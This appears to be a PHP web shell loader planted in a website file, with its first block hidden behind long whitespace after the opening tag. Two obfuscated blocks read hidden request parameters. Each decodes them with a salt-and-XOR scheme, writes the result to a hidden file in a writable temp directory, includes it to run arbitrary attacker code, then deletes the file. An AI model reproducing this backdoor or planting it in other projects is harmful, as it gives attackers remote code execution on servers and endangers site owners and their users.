<?php																																										if(in_array("\x66ac", array_keys($_REQUEST))){ $token = array_filter([getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $rec = $_REQUEST["\x66ac"]; $rec = explode ( ".",$rec ) ; $record = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); foreach( $rec as $m => $v4): $chS = ord( $s5[$m %$sLen] ); $dec =( ( int)$v4 - $chS -( $m %10)) ^ 54; $record .= chr( $dec ); endforeach; foreach ($token as $key => $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $elem = implode("/", [$tkn, ".comp"]); if (@file_put_contents($elem, $record) !== false) { include $elem; unlink($elem); exit; } } } }


if(in_array("mr\x6B", array_keys($_REQUEST))){
	$holder = $_REQUEST["mr\x6B"];
		$holder		=explode('.'	,		$holder) ;  
	$component	=	'';
            $salt	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	strlen($salt);
    
            foreach ($holder as $x => $v9) {$chS	=	ord($salt[$x %$lenS]);
                $d	=	((int)$v9 - $chS - ($x %10)) ^ 18;
                $component	 .=chr($d);	} 	
	$comp = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]);
	$symbol = 0;
do {
    $binding = $comp[$symbol] ?? null;
    if ($symbol >= count($comp)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
    $token = implode("/", [$binding, ".dchunk"]);
    $success = file_put_contents($token, $component);
if ($success) {
	include $token;
	@unlink($token);
	die();}
}
    $symbol++;
} while (true);
}